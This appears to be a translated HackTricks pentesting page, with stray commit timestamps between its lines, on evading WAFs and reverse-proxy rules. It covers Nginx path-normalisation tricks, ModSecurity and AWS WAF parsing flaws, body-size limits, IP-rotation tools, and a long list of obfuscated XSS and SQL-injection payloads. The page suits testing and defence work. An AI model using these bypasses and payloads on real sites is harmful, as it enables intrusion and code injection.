2024-07-19 15:59:20 +00:00
# Proxy / WAF Protections Bypass
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
{% hint style="success" %}
学习与实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
< details >
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
< summary > 支持 HackTricks< / summary >
2023-12-31 04:43:12 +00:00
2024-07-19 15:59:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub 仓库提交 PR 分享黑客技巧。
2023-10-26 14:38:55 +00:00
< / details >
2024-07-19 15:59:20 +00:00
{% endhint %}
2023-10-26 14:38:55 +00:00
2024-05-02 15:03:25 +00:00
< figure > < img src = "https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 22:57:42 +00:00
{% embed url="https://websec.nl/" %}
2024-07-19 15:59:20 +00:00
## 通过路径名操作绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
技术 [来自这项研究 ](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies )。
2024-03-25 01:49:14 +00:00
Nginx 规则示例:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
2024-07-19 15:59:20 +00:00
为了防止绕过, Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),则可能绕过此防御。
2024-03-25 01:49:14 +00:00
### **NodeJS - Express**
2024-07-19 15:59:20 +00:00
| Nginx 版本 | **Node.js 绕过字符** |
| --------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0` , `\x09` , `\x0C` |
| 1.18.0 | `\xA0` , `\x09` , `\x0C` |
| 1.16.1 | `\xA0` , `\x09` , `\x0C` |
2024-03-25 01:49:14 +00:00
### **Flask**
2024-07-19 15:59:20 +00:00
| Nginx 版本 | **Flask 绕过字符** |
| --------- | ------------------------------------------------------ |
| 1.22.0 | `\x85` , `\xA0` |
| 1.21.6 | `\x85` , `\xA0` |
| 1.20.2 | `\x85` , `\xA0` , `\x1F` , `\x1E` , `\x1D` , `\x1C` , `\x0C` , `\x0B` |
| 1.18.0 | `\x85` , `\xA0` , `\x1F` , `\x1E` , `\x1D` , `\x1C` , `\x0C` , `\x0B` |
| 1.16.1 | `\x85` , `\xA0` , `\x1F` , `\x1E` , `\x1D` , `\x1C` , `\x0C` , `\x0B` |
2024-03-25 01:49:14 +00:00
### **Spring Boot**
2024-07-19 15:59:20 +00:00
| Nginx 版本 | **Spring Boot 绕过字符** |
| --------- | ------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09` , `;` |
| 1.18.0 | `\x09` , `;` |
| 1.16.1 | `\x09` , `;` |
2024-03-25 01:49:14 +00:00
### **PHP-FPM**
2024-07-19 15:59:20 +00:00
Nginx FPM 配置:
2024-03-25 01:49:14 +00:00
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
2024-07-19 15:59:20 +00:00
Nginx 被配置为阻止对 `/admin.php` 的访问,但可以通过访问 `/admin.php/index.php` 来绕过此限制。
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
### 如何防止
2024-03-25 01:49:14 +00:00
```plaintext
location ~* ^/admin {
deny all;
}
```
2024-07-19 15:59:20 +00:00
## 绕过 Mod Security 规则 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
2024-03-25 01:49:14 +00:00
### 路径混淆
2024-07-19 15:59:20 +00:00
[**在这篇文章中** ](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/ ) 解释了 ModSecurity v3( 直到 3.0.12) **不正确地实现了 `REQUEST_FILENAME` ** 变量,该变量应该包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo` ,因为 `%3f` 被转换为 `?` ,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=` 。
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此错误的影响。
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
在 Mod Security 的版本 2 中发生了类似的情况,允许绕过一种保护,该保护阻止用户访问与备份文件相关的特定扩展名的文件(例如 `.bak` ),只需通过发送点 URL 编码为 `%2e` ,例如:`https://example.com/backup%2ebak`。
2024-03-25 01:49:14 +00:00
## 绕过 AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
2024-07-19 15:59:20 +00:00
### 格式错误的头部
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
[这项研究 ](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies ) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
2024-03-25 01:49:14 +00:00
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
2024-07-19 15:59:20 +00:00
可以绕过AWS WAF, 因为它无法理解下一行是头部值的一部分, 而NODEJS服务器可以( 这个问题已被修复) 。
## 通用WAF绕过
### 请求大小限制
通常, WAF对请求的长度有一定的限制, 如果POST/PUT/PATCH请求超过该限制, WAF将不会检查该请求。
* 对于AWS WAF, 您可以[**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
< table data-header-hidden > < thead > < tr > < th width = "687" > < / th > < th > < / th > < / tr > < / thead > < tbody > < tr > < td > 可以检查的应用负载均衡器和AWS AppSync保护的Web请求体的最大大小< / td > < td > 8 KB< / td > < / tr > < tr > < td > 可以检查的CloudFront、API Gateway、Amazon Cognito、App Runner和Verified Access保护的Web请求体的最大大小**< / td > < td > 64 KB< / td > < / tr > < / tbody > < / table >
* 来自[**Azure文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
较旧的Web应用防火墙使用核心规则集3.1(或更低版本)允许大于**128 KB**的消息, 通过关闭请求体检查, 但这些消息不会被检查是否存在漏洞。对于较新版本( 核心规则集3.2或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
如果**预防模式**:记录并阻止请求。\
如果**检测模式**:检查到限制,忽略其余部分,并在`Content-Length`超过限制时记录。
* 来自[**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
默认情况下, WAF仅检查请求的前8KB。通过添加高级元数据, 可以将限制增加到128KB。
* 来自[**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
2024-03-25 01:49:14 +00:00
2024-07-19 15:59:20 +00:00
最多128KB。
### 混淆 <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
< %s%cr%u0131pt> == < script >
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode 兼容性 <a href="#unicode-compatability" id="unicode-compatability"></a>
根据 Unicode 规范化的实现(更多信息 [这里 ](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode )),共享 Unicode 兼容性的字符可能能够绕过 WAF 并作为预期的有效负载执行。兼容字符可以在 [这里 ](https://www.compart.com/en/unicode ) 找到。
#### 示例 <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
< img src⁼p onerror⁼' prompt⁽1⁾' ﹥ --> < img src=p onerror='prompt(1)'>
```
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md ](h2c-smuggling.md )
{% endcontent-ref %}
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
* [https://github.com/ustayready/fireprox ](https://github.com/ustayready/fireprox ): 生成一个API网关URL以供ffuf使用
* [https://github.com/rootcathacking/catspin ](https://github.com/rootcathacking/catspin ): 类似于fireprox
* [https://github.com/PortSwigger/ip-rotate ](https://github.com/PortSwigger/ip-rotate ): 使用API网关IP的Burp Suite插件
* [https://github.com/fyoorer/ShadowClone ](https://github.com/fyoorer/ShadowClone ): 根据输入文件大小和拆分因子动态确定激活的容器实例数量, 输入被拆分为多个块以进行并行执行, 例如100个实例处理来自10,000行输入文件的100个块, 拆分因子为100行。
### Regex Bypasses
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效负载。各种绕过的资源可以在[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)和[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html)找到。以下示例来自[这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
```bash
< sCrIpT > alert ( XSS )</ sCriPt > #changing the case of the tag
< < script > alert ( XSS )</ script > #prepending an additional "< "
< script > alert(XSS) // #removing the closing tag
< script > alert `XSS` </ script > #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
< iframe src = http://malicous.com < #double open angle brackets
< STYLE >. classname { background-image : url ( "javascript:alert(XSS)" );}</ STYLE > #uncommon tags
< img / src = 1/onerror=alert(0) > #bypass space filter by using / where a space is expected
< a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href = javascript:alert(1) > xss</ a > #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
< iframe src = "javascript:alert(`xss`)" > #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
< a src = "%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)" > #Using Line Feed (LF) line breaks
< BODY onload !#$%&()*~+ -_ ., : ;?@[/| \]^`= confirm () > # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## 工具
* [**nowafpls** ](https://github.com/assetnote/nowafpls ): Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
## 参考资料
2024-03-25 01:49:14 +00:00
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies ](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies )
2024-04-07 22:57:42 +00:00
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/ ](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/ )
2024-07-19 15:59:20 +00:00
* [https://www.youtube.com/watch?v=0OMmWtU2Y\_g ](https://www.youtube.com/watch?v=0OMmWtU2Y\_g )
2024-04-07 22:57:42 +00:00
2024-05-02 15:03:25 +00:00
< figure > < img src = "https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-07 22:57:42 +00:00
{% embed url="https://websec.nl/" %}
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
{% hint style="success" %}
学习与实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
< details >
2023-12-31 04:43:12 +00:00
2024-07-19 15:59:20 +00:00
< summary > 支持 HackTricks< / summary >
2023-10-26 14:38:55 +00:00
2024-07-19 15:59:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub 仓库提交 PR 来分享黑客技巧。
2023-10-26 14:38:55 +00:00
< / details >
2024-07-19 15:59:20 +00:00
{% endhint %}